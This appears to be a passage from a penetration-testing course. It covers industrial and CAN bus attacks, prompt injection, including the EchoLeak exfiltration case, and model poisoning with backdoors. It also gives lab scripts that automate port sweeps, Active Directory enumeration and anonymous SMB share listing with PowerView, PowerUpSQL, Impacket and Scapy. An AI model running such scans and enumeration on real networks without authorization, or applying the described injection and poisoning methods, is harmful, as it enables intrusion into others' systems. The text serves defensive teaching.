MQTT, 1883: sensors publishing through a brokerThe specification leaves network, privacy, authentication and authorization choices to implementers.[10]Reading every topic on an open broker with the multi-level wildcard (#); publishing false readingsAuthentication, per-topic rules, TLS on 8883; current Mosquitto refuses anonymous clients by default, unless no listener is configured, and then allows the local machine only.[10]

The pattern repeats: a secure form exists, but the installed base may not use it, so first find out which form you face. Note that DNP3's secure form authenticates without encrypting: a capture can still show process values, yet a forged command fails. "Secure" never tells you which property you got.

CAN bus: a network with no sender field

A CAN bus links the electronic control units (ECUs) in a vehicle or machine. Texas Instruments describes a multi-master, message broadcast system: short messages such as temperature or RPM go to the entire network, and in a collision the highest-priority identifier always wins.[11] That identifier names the message and its priority, and no field in the standard frame names the sender.[11] A CAN bus attack is any injection that abuses this: every ECU has to trust what appears on the wire.

Attackers have reached the bus from both directions. In 2015 Charlie Miller and Chris Valasek reached an unaltered Jeep Cherokee over the cellular network through its head unit, affecting steering and braking. Chrysler recalled 1.4 million vehicles, and Sprint blocked the traffic on its network.[11] Tindell's 2023 account goes the other way. Thieves reached a Toyota RAV4's CAN wiring through the headlight connector. They sent fake messages as if from the smart key receiver, because in most cars such messages are not protected.[11] A second transmitter looks like this, in a fictional bench capture decoded by signal name.

Time (ms)MessageDecoded valueGap since last copy
1000WHEEL_SPEED62 km/h20 ms
1020WHEEL_SPEED62 km/h20 ms
1024WHEEL_SPEED0 km/h4 ms
1028WHEEL_SPEED0 km/h4 ms
1040WHEEL_SPEED62 km/h12 ms

There is no Source column because the frame has no source. The evidence is behavior: a periodic message has lost its rhythm, and two values are fighting. The fixes add the missing proof. AUTOSAR's Secure Onboard Communication authenticates messages and tracks freshness. Tindell calls for a Zero Trust approach where an ECU does not automatically trust its neighbors. A gateway helps only if it does more than copy messages between buses.[11]

TechniqueWeakness it relies onToolsWhat defenders seeFix
Modbus attack (mapping)Devices answer anyone on port 502Wireshark, tcpdump to study itNew hosts polling; identification requestsFirewall allow list; segmentation
Register manipulationWrites need no authorizationWireshark to see it; write tools on a bench onlyFunction 5, 6, 15 or 16 from an unlisted host; odd valuesOT firewall; range limits; key switch; Modbus/TCP Security roles
Plaintext attackControl traffic is unencryptedWireshark, tcpdumpOften nothing, since capture is silentTLS forms of each protocol; encrypted tunnels
Replay attackNothing proves freshnessScapy, on a bench onlyA copy of an earlier message; a transaction number out of sequenceTLS; DNP3 Secure Authentication; Secure Onboard Communication
CAN bus attackBroadcast with no sender fieldWireshark on a bench busOff-rhythm timing; conflicting valuesMessage authentication; gateways; protected wiring
A diagram of two nodes, each a processor and CAN controller, wired to the same pair of CAN_H and CAN_L lines with termination at both ends; the node labels are in Ukrainian.
Nodes sharing one CAN bus
Author this image Taras Babich, but I was inspired on site... - CC BY-SA 4.0 - Wikimedia Commons

Models: why prompt injection has no parameterized query

Lesson 17 fixed SQL injection by keeping code and data in separate channels, and noted that prompt injection shares the pattern. The resemblance ends at the fix. OWASP's Top 10 for LLM Applications 2026 says a large language model (LLM) makes no architectural distinction between instructions and data, so there is no clean equivalent to parameterized queries.[12] The UK's National Cyber Security Centre (NCSC) puts it more bluntly: "there is only ever 'next token'".[13]

Prompt injection is input that changes a model's behavior in ways the developer did not intend.[12] Direct injection comes through the user's own input. Indirect injection arrives in content the model reads, such as a web page, email, tool response or retrieved passage, which the user neither supplied nor saw.[12] Jailbreaking here means making a model break its safety rules, so watch that word: on a phone it means something else.[12] No injection text appears here, because the mechanism is what you need: any text the model reads can steer it.

The damage depends on what is connected. OWASP names three multipliers: the context is one pool with no enforced trust boundary, an injection written to memory or a knowledge base taints later sessions, and agents turn model output into tool calls.[12] The case to know is EchoLeak (CVE-2025-32711), a zero-click flaw in Microsoft 365 Copilot that allowed remote, unauthenticated data exfiltration through a single crafted email.[13]

So defense starts elsewhere. NCSC treats the model as an "inherently confusable deputy" and calls for deterministic safeguards outside it.[13]

OWASP agrees: keep credentials and state-changing power in application code, grant least privilege per operation, validate output against a strict schema in trusted code, and ask a person before anything irreversible or externally visible. It warns that labeling outside content as data helps only against attackers who do not adapt.[12]

Its Rule of Two gives a test: untrusted input, sensitive data, and state change or external communication, all at once, is high risk, and an agent with all three needs per-action human approval.[12] Compare two designs of a fictional clinic help desk assistant.

Design questionDesign ADesign B
Reads email and patient records?Yes, bothYes, both
Acts outward?Sends email on its ownDrafts; a person approves each send
Credentials and checksIn the promptIn application code, checked on each call
If an injected email succeedsRecords can leave the clinicA bad draft waits in front of a person

The injection may succeed against both, and an honest tester says so. A filter that blocks your test phrase proves little, which is why OWASP asks for testing against adaptive attackers.[12] The point: with a model you report blast radius, not just the injection, and the fix sits outside the model.

Model manipulation: changing what the model learned

Prompt injection steers one context. Model manipulation changes the model itself, or what ships with it. CompTIA's term has no exact match on OWASP's list; the nearest entries are LLM05:2026 Data and Model Poisoning and LLM04:2026 Supply Chain.[12] NIST defines poisoning as attack during the training stage, causing broad degradation or, with targeted and backdoor poisoning, failures on a small set of targets; inputs crafted to fool a finished model are evasion attacks.[4]

Three facts make it hard. A backdoored model can look normal until a trigger appears.[12] The dose can be small: OWASP cites research in which as few as 250 poisoned documents compromised models from 600 million to 13 billion parameters.[12] And the danger is not only in the weights: pickle files, chat templates, tokenizer configurations and adapters can run code or change behavior when loaded, and PoisonGPT published a tampered model under a trusted-looking name.[12]

Repair can mean revalidating data, retraining or replacing the model, so the controls are about provenance: lineage records, signed artifacts, versioned data, approved retraining and testing for triggers.[12]

Your evidence is a hash that does not match, an unsigned artifact or drift from a clean baseline. The objective names no AI tools.[8]

TechniqueWeakness it relies onToolsWhat defenders seeFix
Direct prompt injectionUser text and instructions share one streamTest prompts agreed in the ROEOdd outputs; refused tool callsOutput validation; least privilege
Indirect prompt injectionRetrieved content is read as if trustedHarmless test documents placed by agreementTool calls that follow outside contentRule of Two; human approval; policy checks in code
Model manipulationUnverified data, weights or supporting filesHash and signature checks; baseline comparisonDrift from baseline; unsigned artifactsLineage, signing, validated retraining

OWASP published this edition on 3 August 2026, after PT0-003 launched. Prompt Injection stayed LLM01, but poisoning moved from LLM04:2025 to LLM05:2026, so learn names rather than numbers.[12]

A flow diagram of pretraining, supervised fine-tuning and reinforcement learning from human feedback, showing the corpora, demonstrations and rankings that feed each stage.
Where data enters language model training
Kjerish - CC0 - Wikimedia Commons

Wireshark, tcpdump and Scapy: the tools that read all of this

  • tcpdump captures to a file, as on a small sensor on a SPAN port. Choose it when the box has no screen or you want only the file.
  • Wireshark dissects captures into decoded views, and its filter reference includes modbus.func_code, mbtcp.trans_id, mbtcp.unit_id and can.id.[8] Choose it to look and to write filters.
  • Scapy is a Python program that can send, sniff, dissect and forge packets, with modules for Modbus, CAN, Bluetooth and MQTT.[8] Choose it to script across many saved captures (Lesson 23).

Scapy's sending side is why it appears here. On specialized systems that belongs on an isolated bench with written permission, never on a live plant or vehicle.

How specialized-system findings are reported

Here is the entry for the worked example, written for the fictional cooperative.

  • Title: PLC accepts unauthenticated Modbus writes; an unlisted host changed a tank setpoint.
  • Severity: Critical at this site. No credentials are needed, the setpoint governs tank level, and the plant documents no independent high-level trip. It would be High where a safety instrumented system trips on its own, because that caps the physical consequence.
  • Evidence: capture control-span-0914.pcap, frames 103-110, from a SPAN port on the stated date. The tester sent no Modbus traffic. 192.0.2.77 is absent from the asset list, and the client's engineer confirmed what register 40 means.
  • Root cause: Modbus TCP has no authentication or freshness, any host on the segment can reach port 502, and the PLC logic does not limit the setpoint's range.
  • Remediation: today, investigate 192.0.2.77 and allow port 502 only from the HMI and engineering workstation. Next, limit the range in logic, leave the key switch in run and alert on writes from unlisted hosts. At the next upgrade, move to Modbus/TCP Security with roles. Confirm with a fresh passive capture.

The other families share that shape. Phones: app and system versions, whether the phone was rooted, a file path and a redacted excerpt; do not report root as the flaw. Radios: place, distance, device models and the ROE line that allowed it. Models: version, configuration, tool logs and a success rate over repeated trials, because output varies between runs.

Common misconceptions

  • "Modbus just needs patching." The classic protocol has no authentication to patch. The fixes are segmentation, inspection and Modbus/TCP Security.
  • "Short range means safe." A relay stretches the distance while the card's replies stay genuine.
  • "Rooting the test phone cancels the finding." Root is the tester's viewpoint. The finding is what the app exposes to it.
  • "Prompt injection is SQL injection, so sanitize the input." A model has no separate channel for instructions, so limit what a fooled model can do.

What to carry forward

  • Ask what each system accepts without proof: phones, their own walls; radios, closeness; industrial and vehicle networks, anyone on the wire; language models, whatever is in the context.
  • Modbus TCP uses port 502, function codes 5, 6, 15 and 16 write, and the Transaction Identifier only pairs a reply with its request. Modbus/TCP Security uses port 802 with mutual TLS, certificates and roles.
  • Register manipulation writes a new value, a plaintext attack exploits readable traffic, and a replay re-sends a valid message unchanged.
  • DNP3 Secure Authentication v5 authenticates without encrypting ordinary data, BACnet/SC adds TLS over WebSockets, and MQTT is plaintext on 1883 and TLS on 8883.
  • A CAN frame has a message identifier and priority but no sender, so injection shows as broken timing and conflicting values.
  • Bluejacking pushes, bluesnarfing pulls, and Bluetooth spamming floods; an NFC relay needs the real card answering, while an RFID clone works alone.
  • Prompt injection works because instructions and data share one token stream, with no parameterized equivalent. Model manipulation changes the model or its files, and needs lineage, signing and retraining.
  • MobSF scans packages, Frida instruments a running app, Drozer acts as another app, ADB is the channel to Android, tcprelay carries a port over USB to an iPhone, and Bluestrike is a thinly documented Bluetooth scan-and-kick project.

Sources

  1. Graham, M., Ahlers, C., and O'Meara, K. (2024). Impact of FrostyGoop ICS malware on connected OT systems; and Protect against FrostyGoop ICS malware. Dragos. brief; blog
  2. MITRE. (n.d.). ATT&CK for ICS, version 20: S1165, C0041, T0836, T1692.001, T1692.002. S1165; T1692.001
  3. Modbus Organization. (2012). Application protocol specification V1.1b3; (2006). Messaging on TCP/IP implementation guide V1.0b; (2021). Modbus/TCP Security (v36). specification; security
  4. National Institute of Standards and Technology. Stouffer, K., et al. (2023). SP 800-82r3, Guide to OT security; Padgette, J., et al. (2017). SP 800-121r2, Guide to Bluetooth security; Karygiannis, T., et al. (2007). SP 800-98, Securing RFID systems; Vassilev, A., et al. (2025). AI 100-2e2025, Adversarial machine learning. SP 800-82; AI 100-2
  5. Android Developers and AOSP. (n.d.). Android Debug Bridge; provider element; Play Integrity overview; NFC overview; Application sandbox. Apple. (n.d.). Unauthorized modification of iOS; Establishing your app's integrity. adb; provider; Apple
  6. OWASP Foundation. (2024). Mobile Top 10 2024; OWASP MAS. (n.d.). Mobile Application Security Testing Guide: Android testing; MASTG-TOOL-0069 (usbmuxd); MASTG-TOOL-0055 (iproxy). Top 10; usbmuxd
  7. MobSF. (n.d.). Mobile Security Framework [README]; Frida. (n.d.). Welcome, Modes of operation, Android; Reversec Labs. (n.d.). drozer [README and guide]. MobSF; Frida; drozer
  8. CompTIA. (2024). PT0-003 exam objectives v5.0, objective 4.9; Martin, H. (2009). tcprelay.py, usbmuxd v1.0.8; StealthIQ. (2024). Bluestrike [README and source]; AppNeta. (n.d.). Tcpreplay; Scapy project. (n.d.). Introduction and source tree; Wireshark Foundation. (n.d.). Display filter reference. objectives; tcprelay.py; Bluestrike; Scapy
  9. Stefanko, L. (2024). NGate Android malware relays NFC traffic to steal cash. ESET Research; Franceschi-Bicchierai, L. (2023). Hacking device Flipper Zero can spam nearby iPhones with Bluetooth pop-ups. TechCrunch. ESET; TechCrunch
  10. Cremers, C., Dehnel-Wild, M., and Milner, K. (2017). Secure authentication in the grid: A formal analysis of DNP3: SAv5; BACnet International. (n.d.). BACnet/SC; OASIS. (2019). MQTT version 5.0; Eclipse Mosquitto. (n.d.). mosquitto.conf manual. DNP3; BACnet/SC; MQTT
  11. Miller, C., and Valasek, C. (2015). Remote exploitation of an unaltered passenger vehicle; Texas Instruments. (2016). Introduction to the Controller Area Network (SLOA101B); Tindell, K. (2023). CAN injection: Keyless car theft; AUTOSAR. (2023). Specification of secure onboard communication (R23-11). Miller and Valasek; TI; Tindell
  12. OWASP GenAI Security Project. (2026). OWASP Top 10 for LLM Applications 2026; and (2025). LLM Top 10 for 2025. 2026 edition; 2025 list
  13. National Cyber Security Centre. (2025). Prompt injection is not SQL injection (it may be worse); Reddy, P., and Gujral, A. S. (2025). EchoLeak. arXiv:2509.10540. NCSC; arXiv
Key terms
Modbus
A request and response industrial protocol with no built-in authentication; Modbus TCP uses port 502, and Modbus/TCP Security wraps it in mutual TLS on port 802.
Programmable logic controller (PLC)
An industrial computer that reads sensors and drives outputs in a repeating loop, often exposing its values as coils and registers.
Register manipulation
Writing to a controller's holding register or coil so that the physical process behaves differently, as in an unauthorized setpoint change.
Replay attack
Recording a valid message and sending it again later, unchanged, which works when nothing in the message proves it is fresh.
CAN bus
A Controller Area Network: a broadcast network in vehicles and machines whose frames carry a message identifier and priority but no sender address.
Bluejacking
Sending unsolicited messages or contacts to a nearby Bluetooth device; no data is taken, though the user may be enticed to respond.
Near-field communication (NFC)
Short-range radio that typically needs 4 cm or less to connect; relay attacks defeat that distance by carrying the exchange elsewhere.
Prompt injection
Input that changes a language model's behavior in ways its developer did not intend, arriving directly from a user or indirectly in content the model reads.
Model manipulation
Changing what a model does by tampering with its training data, weights or supporting files, so that the effect lasts beyond any one conversation.
Android Debug Bridge (ADB)
A command-line tool with a client, a server and a device daemon that gives a tester a shell, logs, file transfer and installs on an Android device.

Scripts That Attack and Tools That Rehearse: Automation and Breach and Attack Simulation

  • Explain what PowerSploit, PowerView, PowerUpSQL, Impacket, Scapy and Bash pipelines each automate, and choose the right one for a scenario.
  • Read and debug a short script, including scope filters, stream redirection, exit status, result limits and flag tests.
  • Keep automation inside the ROE with a scope check that fails closed and a rate limit worked out from workers and pauses.
  • Read Caldera, Infection Monkey and Atomic Red Team results by what a test asserts, how it maps to ATT&CK, and whether it ran, was seen and raised an alert.

A curl command that died for naming a repository

On 3 November 2026, on the ordinary Windows 11 machine used to research this lesson, a one-line curl request for a GitHub project's release information failed with Permission denied. The plausible diagnosis was a broken path or a file permission. Wrong: the same curl fetched other repositories seconds later. Microsoft Defender Antivirus held the real answer in its detection history, which Get-MpThreatDetection reads. It had flagged the command line itself as Trojan:PowerShell/Powersploit.G, because the URL contained the name PowerSploit. Within 15 minutes it had also stopped a saved copy of PowerView (HackTool:PowerShell/PowerView) and one example script from Impacket (HackTool:Python/Impacket.Q!MSR).

Two habits follow, and this lesson runs on them. The first explanation of an automated failure is often wrong, so you trace it. And automation is visible, because defenders have known these tools for years. This objective's stems hand you a script, a result and a rule of engagement, then ask what the script automates, whether it stayed inside the rules, and which line is at fault. So each section starts from a conclusion someone could reasonably draw and follows it to the point where it breaks.

Exam objectives: 4.10 (using scripting to automate attacks: PowerShell with PowerSploit, PowerView, PowerUpSQL and AD search; Bash input/output management and data manipulation; Python with Impacket and Scapy; breach and attack simulation (BAS) with Caldera, Infection Monkey and Atomic Red Team).

Before you run anything

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Automation changes none of that; it only repeats a mistake faster. Everything you run here touches 192.168.56.x or 127.0.0.1, or reads a file on your Kali VM, with its NAT adapter not attached. Your lab has no Windows domain, so the Active Directory queries are for reading: they name a fictional domain, corp.example.com, and show sample output.

Kali's default image includes Scapy, Impacket and a copy of the PowerSploit scripts in /usr/share/powersploit. You never need to run those scripts, and copying them to your Windows host will only set off its antivirus. On a client's network, the same event is a result to record, not an obstacle. Turning protection off needs explicit written permission in the ROE; never do it to make a tool work.

A scope filter that approved hosts nobody authorized

Lesson 9 gave you four questions for any script: what goes in, what repeats, what decides, what comes out. Automation adds two: what does it touch, and how fast? Here is a fictional colleague's sweep.sh. The ROE names one host for today, 192.168.56.10, and an asset export holds four addresses. The output is a sample, worded as Kali's nc prints it.

#!/bin/bash
# sweep.sh: check port 22 on approved hosts and keep a log
grep -f scope.txt targets.txt > approved.txt
for host in $(cat approved.txt); do
    nc -zvn -w 1 "$host" 22 > sweep.log
done
echo "approved $(wc -l < approved.txt) hosts"

$ cat scope.txt
192.168.56.10
$ cat targets.txt
192.168.56.10
192.168.56.101
192.168.56.102
203.0.113.5
$ bash sweep.sh
(UNKNOWN) [192.168.56.10] 22 (ssh) : Connection timed out
(UNKNOWN) [192.168.56.101] 22 (ssh) : Connection refused
(UNKNOWN) [192.168.56.102] 22 (ssh) open
approved 3 hosts
$ wc -c sweep.log
0 sweep.log

The colleague's note reads: "Filter works, the stray 203.0.113.5 was dropped. Log is empty, so nothing answered." Both sentences are wrong, and the first is convincing because of its evidence.

grep -f treats each line of scope.txt as a regular expression and prints any target line containing a match anywhere. In a regular expression a dot means any character, and nothing ties the match to the whole line. So the pattern 192.168.56.10 is found inside 192.168.56.101 and 192.168.56.102. Dropping 203.0.113.5 proved nothing; it simply shares no text with the pattern.

Now change one input. Add a blank line to the end of scope.txt, as exports and editors often do. An empty pattern matches every line, so the stray comes back:

$ grep -f scope.txt targets.txt
192.168.56.10
192.168.56.101
192.168.56.102
203.0.113.5

The fix is two letters. -F reads the patterns as fixed strings and -x requires the whole line to match. The blank line stops mattering. comm -23 then prints lines found only in the first sorted file, which is your list of refused targets, worth keeping as evidence.

$ grep -Fxf scope.txt targets.txt
192.168.56.10
$ comm -23 <(sort targets.txt) <(sort scope.txt)
192.168.56.101
192.168.56.102
203.0.113.5

If scope.txt holds a range such as 192.168.56.0/24, this filter approves nothing and exits with status 1. That is the right way to be wrong: the mistake stops the run instead of widening it, which is what "fails closed" means. Text tools cannot do address arithmetic, so when the scope is a range, use Python's ipaddress library, as you did in Lesson 9.

So what?: test a scope check with inputs that ought to be refused, including near-matches and blank lines. One rejected stray proves almost nothing.

Bash input/output management: why the log stayed empty

"Log is empty, so nothing answered" fails for a different reason. Every process starts with three standard streams: standard input (0), standard output (1) and standard error (2). A plain > moves stream 1 only. Netcat's source prints its verbose messages with fprintf(stderr, ...), so they stayed on the screen and the file stayed empty. An empty log said nothing about the hosts. And even with the right stream, > restarts the file on each pass of a loop, as Lesson 9 warned.

You writeWhat happensUse it for
cmd > fStream 1 to f, overwriting itOne result set
cmd >> fStream 1 to f, appendingResults inside a loop
cmd 2> fStream 2 to fTools that report on standard error
cmd >> f 2>&1Both streams into fA complete log
cmd 2>&1 >> fStream 2 stays on the screen; only stream 1 reaches fAlmost always a bug
cmd 2>&1 | tee -a fBoth streams to the screen and to fWatching a run while keeping evidence
while read -r h; do ...; done < fThe loop's standard input comes from fReading targets line by line
cmd 2> /dev/nullStream 2 is thrown awayOnly when you know what you are discarding

Order matters because Bash reads redirections left to right. 2>&1 means "point stream 2 wherever stream 1 points right now". In the buggy row, stream 1 still points at the screen when stream 2 copies it, and only afterward does stream 1 move to the file.

Piping to tee fixes the log and adds a quieter bug. Try this in your lab, on a port you found closed in Lesson 7. The sample output shows what to expect.

$ if nc -zvn -w 1 192.168.56.102 8888 2>&1 | tee -a sweep.log; then echo "8888 open"; fi
(UNKNOWN) [192.168.56.102] 8888 (?) : Connection refused
8888 open
$ set -o pipefail
$ if nc -zvn -w 1 192.168.56.102 8888 2>&1 | tee -a sweep.log; then echo "8888 open"; else echo "8888 not open"; fi
(UNKNOWN) [192.168.56.102] 8888 (?) : Connection refused
8888 not open

A closed port reported as open is a false positive made by your own plumbing. Bash's manual gives the reason: a pipeline's exit status is that of its last command unless pipefail is on. tee succeeded, so if saw success.

Bash data manipulation: from log lines to a CSV, at a rate the ROE allows

With a complete log you can answer new questions without another packet. Here is a fictional log and two pipelines.

$ cat sweep.log
(UNKNOWN) [192.168.56.102] 22 (ssh) open
(UNKNOWN) [192.168.56.101] 22 (ssh) open
(UNKNOWN) [192.168.56.103] 22 (ssh) : Connection refused
$ grep ' open$' sweep.log | tr -d '[]' | awk '{print $2 "," $3}' | sort -t, -k1,1V
192.168.56.101,22
192.168.56.102,22
$ awk '{print $NF}' sweep.log | sort | uniq -c
      2 open
      1 refused

The $ ties the match to the end of the line, so only real opens pass. tr -d deletes the brackets, awk prints fields 2 and 3 with a comma, and sort -V orders addresses by number, where a plain sort would put .102 before .5. The second pipeline counts outcomes by the last word on each line.

Here is the repaired script, with every lesson so far built in. Given a scope file holding only 192.168.56.102, and the same targets, expect the output below it.

#!/bin/bash
# sweep.sh SCOPE TARGETS PORT: check PORT on hosts in both files, at most 2 a second.
set -o pipefail
scope=$1; targets=$2; port=$3
log="sweep-$(date +%Y%m%d-%H%M).log"
grep -Fxf "$scope" "$targets" > approved.txt
comm -23 <(sort "$targets") <(sort "$scope") | sed 's/^/REFUSED /' | tee -a "$log"
while read -r host; do
    if nc -zvn -w 1 "$host" "$port" 2>&1 < /dev/null | tee -a "$log" > /dev/null; then
        echo "$host,$port,open"
    fi
    sleep 0.5
done < approved.txt

$ bash sweep.sh scope.txt targets.txt 22
REFUSED 192.168.56.10
REFUSED 192.168.56.101
REFUSED 203.0.113.5
192.168.56.102,22,open

That sleep is the rate limit, and the sum behind it is short: rate = workers / pause. One loop pausing 0.5 seconds makes at most two connections a second. The same pause in ten parallel workers makes twenty. That is the trap in any tool with a thread option. If the ROE caps you at five a second, ten threads need a pause of two seconds each.

PowerSploit, PowerView and PowerUpSQL: three names people blur

"PowerUp, PowerView and PowerUpSQL are all the same toolkit." They are not, and exam stems separate them by the job. PowerUpSQL comes from a different publisher altogether.

NameWhat it automatesIts outputStatus on 3 November 2026
PowerSploitA kit of PowerShell modules for most phases of a test: CodeExecution, ScriptModification, Persistence, AntivirusBypass, Exfiltration, Mayhem, Privesc and ReconVaries by scriptArchived on GitHub, last pushed August 2020; its README says it is no longer supported. Kali still packages version 3.0.0
PowerViewPowerSploit's Recon script for Windows domains: Get-DomainUser, Get-DomainGroupMember, Get-DomainComputer, Get-DomainTrust, Find-DomainShare, Find-LocalAdminAccessObjects with directory attribute names, such as samaccountname and pwdlastsetFrozen with its parent. Older guides use earlier names such as Invoke-ShareFinder
PowerUpPowerSploit's Privesc script: local privilege escalation checks on one host (Lesson 15)A list of weak settingsFrozen with its parent
PowerUpSQLSQL Server at scale, from NetSPI: Get-SQLInstanceDomain finds instances by asking a domain controller for their service principal names, Get-SQLConnectionTestThreaded sees which accept your login, Invoke-SQLAudit checks for weak configurationRows naming each instance, as belowNot archived; last pushed December 2024

Choose PowerView for the directory, PowerUp for one machine and PowerUpSQL for database servers. PowerView is written in pure PowerShell over LDAP and Win32 calls, so it needs no administration tools installed. PowerUpSQL's README adds that administrators can use it to inventory their own SQL Servers. Its cheat sheet's examples use -Threads values of 10 and 15, so do the rate sum first. Expect a row like this one (sample, fictional):

ComputerName     : sql01.corp.example.com
Instance         : sql01.corp.example.com,1433
DomainAccount    : svc-sql
Service          : MSSQLSvc
Spn              : MSSQLSvc/sql01.corp.example.com:1433
LastLogon        : 11/2/2026 6:14:02 AM

These kits mix discovery with abuse: PowerView also has functions that change directory objects, and PowerUpSQL escalates. This course teaches them at the level of what they find; the ROE decides how far a client wants them taken. For the same questions today you will also meet BloodHound's collectors (Lesson 10) and NetExec, which continued CrackMapExec.

All of them run inside PowerShell, so one set of defenses applies. The Antimalware Scan Interface (AMSI) lets Defender inspect a script after it has been decoded for the engine, which is one reason these scripts get caught. Script block logging records the content of scripts as event 4104 in the PowerShell Operational log. Under an AppLocker or Windows Defender Application Control policy, PowerShell drops to ConstrainedLanguage mode, which limits what such scripts can do.

AD search: read-only queries, blank columns and the number 1,000

Active Directory (AD) keeps users, computers and groups in a directory that answers LDAP queries, and a domain account can read much of it by default. That is the weakness behind this whole family. "AD search" means asking those questions from PowerShell. There are two routes, and the first needs Microsoft's ActiveDirectory module from the Remote Server Administration Tools (RSAT), which talks to Active Directory Web Services on TCP 9389. This is the read-only query an auditor would also run; it changes nothing. The domain and accounts are fictional, and the output is a sample.

# Which enabled accounts have passwords that never expire?
Get-ADUser -Server dc01.corp.example.com -Filter 'Enabled -eq $true -and PasswordNeverExpires -eq $true' -Properties PasswordLastSet, LastLogonDate |
    Select-Object SamAccountName, PasswordLastSet, LastLogonDate

SamAccountName PasswordLastSet      LastLogonDate
-------------- ---------------      -------------
svc-backup     3/14/2019 9:02:11 AM 11/2/2026 11:58:40 PM
svc-print      6/1/2021 2:15:37 PM  10/30/2026 7:03:12 AM
m.okafor       1/9/2024 10:44:05 AM 11/3/2026 8:12:51 AM

Read it as a tester: a service account whose password dates from 2019 and which still logs on nightly is a rotation finding, and a person's account on this list is an exception someone should explain. Drop -Properties and those two date columns come back blank. The wrong conclusion is "these passwords were never set". The right one is that Get-ADUser returns a default set of properties, and you must ask for the rest. Search-ADAccount -PasswordNeverExpires asks a similar question in fewer words.

The second route needs nothing installed. [adsisearcher] is PowerShell's short name for .NET's DirectorySearcher class, which speaks LDAP directly. Here is a sample run for a fictional company whose HR system lists 4,312 staff:

$s = [adsisearcher]'(&(objectCategory=person)(objectClass=user))'
$s.SearchRoot = [adsi]'LDAP://dc01.corp.example.com/DC=corp,DC=example,DC=com'
$s.FindAll().Count
1000

No error, and a wrong answer. "HR's number is out of date" is the tempting note. Microsoft's documentation gives the real cause: SizeLimit defaults to the server's limit of 1000 entries, PageSize defaults to 0, which means no paged search, and the server simply returns what it has collected at that point. Add $s.PageSize = 500 and the client fetches page after page, returning 4,312. Treat a suspiciously round number as a limit until you prove otherwise. PowerView pages by default, at 200 objects a page, and Get-ADUser at 256, which is part of why people reach for them.

Keep the scope in mind here too. -Server pins your query to one domain controller, and a trusted domain that Get-DomainTrust reveals is a different system, which the ROE may not cover.

Read-only does not mean invisible either. MITRE ATT&CK files these searches under Domain Account discovery (T1087.002), Domain Groups (T1069.002) and Domain Trust Discovery (T1482), and records APT29 running Get-ADUser and Get-ADGroupMember during the SolarWinds compromise. Its detection advice looks for enumeration from endpoints that are not domain controllers or administrators' machines.

Domain controllers can also log expensive or slow LDAP searches as event 1644, once the Field Engineering diagnostic setting is raised from its default of 0.

Impacket: Python that speaks SMB, with a scope check and a rate limit built in

Impacket is a collection of Python classes for network protocols, maintained by Fortra's Core Security; 0.13.1 is the latest release, from May 2026. It implements SMB1 to SMB3 and MSRPC with NTLM and Kerberos authentication, plus parts of LDAP and TDS, the SQL Server protocol. Testers use it when a job needs a script to hold a real Windows conversation. It also ships example scripts, which is what most people mean by "Impacket":

FamilyExamplesWhere this course treats it
Enumerationlookupsid, samrdump, rpcdump, GetADUsersLesson 8
Remote executionpsexec, wmiexec, smbexec, atexec, dcomexecLesson 24
Credentials and ticketssecretsdump, GetUserSPNs, GetNPUsersLesson 16
RelayntlmrelayxA lesson still being written

Those are named so you recognize them, and no invocation appears here. What you can read safely is the library used for a job you already did by hand in Lesson 8: listing shares, the same read-only step as smbclient -L. The new part is the guard around it.

#!/usr/bin/env python3
"""shares.py HOSTFILE [--go]: list SMB shares on in-scope hosts, slowly. Read-only.
   Without --go it only prints what it would contact."""
import ipaddress
import sys
import time

from impacket.smbconnection import SMBConnection

SCOPE = [ipaddress.ip_network("192.168.56.0/24")]
EXCLUDE = {ipaddress.ip_address("192.168.56.1")}
DELAY = 2.0                       # the ROE allows 30 hosts a minute


def in_scope(text):
    try:
        ip = ipaddress.ip_address(text.strip())
    except ValueError:
        return False              # a name or a typo fails closed
    return ip not in EXCLUDE and any(ip in net for net in SCOPE)


def list_shares(host):
    conn = SMBConnection(host, host, timeout=5)
    conn.login("", "")            # anonymous, like smbclient -N
    names = [s["shi1_netname"][:-1] for s in conn.listShares()]
    conn.logoff()
    return names


go = "--go" in sys.argv
for line in open(sys.argv[1]):
    host = line.strip()
    if not in_scope(host):
        print(f"REFUSED {host}", file=sys.stderr)
    elif not go:
        print(f"WOULD CONTACT {host}")
    else:
        try:
            for name in list_shares(host):
                print(f"{host},{name}")
        except Exception as err:
            print(f"ERROR {host}: {err}", file=sys.stderr)
        time.sleep(DELAY)

Expect something like this on your lab, with the share names you saw in Lesson 8:

$ python3 shares.py hosts.txt
WOULD CONTACT 192.168.56.102
REFUSED 192.168.56.1
REFUSED 203.0.113.5
REFUSED fileserver
$ python3 shares.py hosts.txt --go 2> refused.log
192.168.56.102,print$
192.168.56.102,tmp
192.168.56.102,opt
192.168.56.102,IPC$
192.168.56.102,ADMIN$

Read the guard as the ROE in code. SCOPE is the authorized range. EXCLUDE is the ROE's exclusion list; your VirtualBox host sits inside the range and is not a target. Anything that is not a valid address fails closed, so a hostname cannot resolve to somewhere unexpected. A dry run is the default, so a person reads the list before the first packet. DELAY is the rate limit, and refusals go to standard error so standard output stays clean CSV. A guard only protects what passes through it: if a script finds new hosts as it runs, they must go through in_scope too.

From the other side, the script is an anonymous logon and a connection to IPC$, which on Windows appears as event 5140, as in Lesson 8. Run the example scripts from a Windows host and Defender may catch them first, as the opening showed. Fixes are the ones you already know: restrict anonymous access, require SMB signing, and let only management networks reach SMB.

Scapy: reading a saved capture, and the port that was never open

Scapy works one layer down. Its documentation says it can "send, sniff, dissect and forge" packets. Choose it when you care about individual packets and fields, or a protocol with no ready library. Impacket's job is the conversation; Scapy's is the packet. Packet crafting appears in Lessons 20 and 22. Before you run anyone's Scapy script, search it for send, sendp, sr, sr1 and srp, the functions that transmit. The scripts below contain none of them. They read the capture you made in Lesson 7, of nmap -sS -p 21,23,8888 against your target.

#!/usr/bin/env python3
"""synbit.py CAPTURE: list open ports."""
import sys
from scapy.all import PcapReader, TCP

ports = set()
for pkt in PcapReader(sys.argv[1]):
    if TCP in pkt and pkt[TCP].flags & 0x02:   # is the SYN bit set?
        ports.add(pkt[TCP].dport)
print("open:", sorted(ports))

$ python3 synbit.py /tmp/scan.pcap
open: [21, 23, 8888, 51123]

